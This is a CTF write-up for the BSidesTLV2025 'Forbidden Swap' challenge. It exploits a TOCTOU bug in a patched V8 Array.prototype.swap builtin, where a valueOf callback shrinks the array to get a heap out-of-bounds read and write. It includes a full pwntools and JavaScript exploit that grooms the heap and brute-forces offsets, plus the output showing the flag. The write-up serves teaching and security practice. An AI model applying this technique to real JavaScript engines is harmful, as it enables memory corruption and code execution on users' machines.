Forbidden Swap
- Category: PWN
Description
Something in its internals really does not want to be swapped. Can you convince it otherwise?
Written by Idan Strovinsky
Sources were attached.
Solution
We are provided with a modified V8 JavaScript engine (patch file included). The patch introduces two key changes:
Array.prototype.swap: A new builtin function to swap elements in an array.FlagObject: A object that holds the flag but guards it with an internal check.
The Goal:
The Flag object is initialized with an internal value of 0xdead. To unlock the flag using flag.secret(), we must overwrite this value to 0xbeef in memory.
The Bug: TOCTOU in ArraySwap
The vulnerability is a Time-of-Check to Time-of-Use (TOCTOU) bug in src/builtins/builtins-array.cc. Let’s look at the vulnerable code:
BUILTIN(ArraySwap) {
// ...
Handle<JSArray> array = Cast<JSArray>(receiver);
// 1. Snapshot the length
uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
// 2. TRIGGER: Call ToNumber on arguments.
// This executes user JS (valueOf), which can change the array!
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, idx1_obj, Object::ToNumber(isolate, args.at(1)));
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, idx2_obj, Object::ToNumber(isolate, args.at(2)));
// 3. The check uses the OLD 'len' snapshot from step 1
if (idx1 >= len || idx2 >= len) {
// Error...
}
Handle<FixedArrayBase> elements(array->elements(), isolate);
if (IsFixedDoubleArray(*elements)) {
Handle<FixedDoubleArray> double_array = Cast<FixedDoubleArray>(elements);
// 4. OOB ACCESS: The check passed, but 'double_array' might now be tiny!
double value1 = double_array->get_scalar(idx1);
double value2 = double_array->get_scalar(idx2);
double_array->set(idx1, value2);
double_array->set(idx2, value1);
}
}
The Logic Flow:
- Check: The function fetches the array length (
len) and stores it. - Trigger: It calls
Object::ToNumberon the arguments (the indices).- Critical: This executes user-defined JavaScript (e.g.,
valueOf).
- Critical: This executes user-defined JavaScript (e.g.,
- Use: It performs bounds checks using the old
len, but accesses the current backing store.
The Exploit Path:
Inside the valueOf callback, we can:
- Shrink the array (
arr.length = 0), forcing V8 to discard the large backing store. - Reallocate a tiny backing store.
- The builtin continues using the old (large) length check on the new (tiny) array, granting us a Heap Out-Of-Bounds (OOB) Read/Write.
Exploitation Strategy
Heap Grooming (The Setup)
V8 allocates new objects linearly in the “New Space”. We need to arrange memory so our target (Flag object) sits right after our vulnerable array.
Inside the valueOf callback:
- Shrink:
arr.length = 0. Old backing store is gone. - Reallocate:
arr[0] = 1.1. V8 allocates a new, tinyFixedDoubleArray(capacity 4). - Target:
new Flag(). This allocates the Flag object immediately after the tiny array.
Calculating Offsets & Values
- Pointer Compression: We are writing to a
FixedDoubleArray(64-bit floats), but V8 uses 32-bit compressed pointers. One double covers two 32-bit slots. - SMI Encoding: Integers in V8 are stored as SMIs (Small Integers), which are shifted left by 1 bit.
- Current Value (
0xdead):0xdead << 1=0x1bd5a - Target Value (
0xbeef):0xbeef << 1=0x17dde
- Current Value (
The Attack Loop
We don’t need precise offsets; we can brute-force the distance.
- Payload: Create a double where the lower 32-bits are
0xbeef(SMI). - Trigger: Call
arr.swap(trigger, 0).trigger’svalueOfrearranges the heap.- The builtin swaps
arr[0](our payload) witharr[i](OOB memory).
- Verify: If
arr[0]changes to0xdead(SMI), we successfully swapped our payload into the Flag object! - Profit: Call
flag.secret().
Solution Script
Run this script using python3.
#!/usr/bin/env python3
from pwn import *
# Connection details
HOST = '0.cloud.chals.io'
PORT = 31357
def exploit():
js_payload = r"""
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
// Helper: Uint32 (Lo/Hi) to Double
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
// Helper: Double to Uint32 (Lo/Hi)
function d2u(val) {
f64[0] = val;
return {lo: u32[0], hi: u32[1]};
}
// V8 SMI Encoding (Value << 1)
var SIG = 0x1bd5a; // 0xdead << 1
var BEEF = 0x17dde; // 0xbeef << 1
// Payload: Write 0xbeef (SMI) to the lower 32-bits
var payload = u2d(BEEF, 0);
print("[*] Starting exploit loop...");
// Scan heap offsets 0 to 100
for (var i = 0; i < 100; i++) {
var arr = [];
// Initialize large array
for (var j = 0; j < 200; j++) arr[j] = 1.1;
var flag = null;
var trigger = {
idx: i,
valueOf: function() {
// 1. Shrink array (detach old backing store)
arr.length = 0;
// 2. Reallocate new small backing store & Insert Payload
arr[0] = payload;
// 3. Allocate Flag immediately after the new backing store
flag = new Flag();
return this.idx;
}
};
try {
// Trigger OOB Swap: arr[0] <-> OOB Memory[i]
arr.swap(trigger, 0);
} catch(e) { continue; }
// Check if we swapped OUT the original 0xdead value
var val = d2u(arr[0]);
if (val.lo === SIG) {
print("[+] Hit Flag at index " + i);
try {
// We successfully overwrote 0xdead with 0xbeef
var s = flag.secret();
print("[SUCCESS] FLAG: " + s);
break;
} catch(e) {
print("[-] Failed to retrieve secret: " + e);
}
}
}
"""
try:
r = remote(HOST, PORT)
r.recvuntil(b"Provide script size")
r.sendline(str(len(js_payload)).encode())
r.recvuntil(b"Provide script:")
r.send(js_payload.encode())
print(r.recvall(timeout=10).decode())
except Exception as e:
print(f"Error: {e}")
if __name__ == '__main__':
exploit()
Result
[*] Starting exploit loop...
[+] Hit Flag at index 19
[SUCCESS] FLAG: BSidesTLV2025{v8_sw4p_t0ct0u_m4st3r}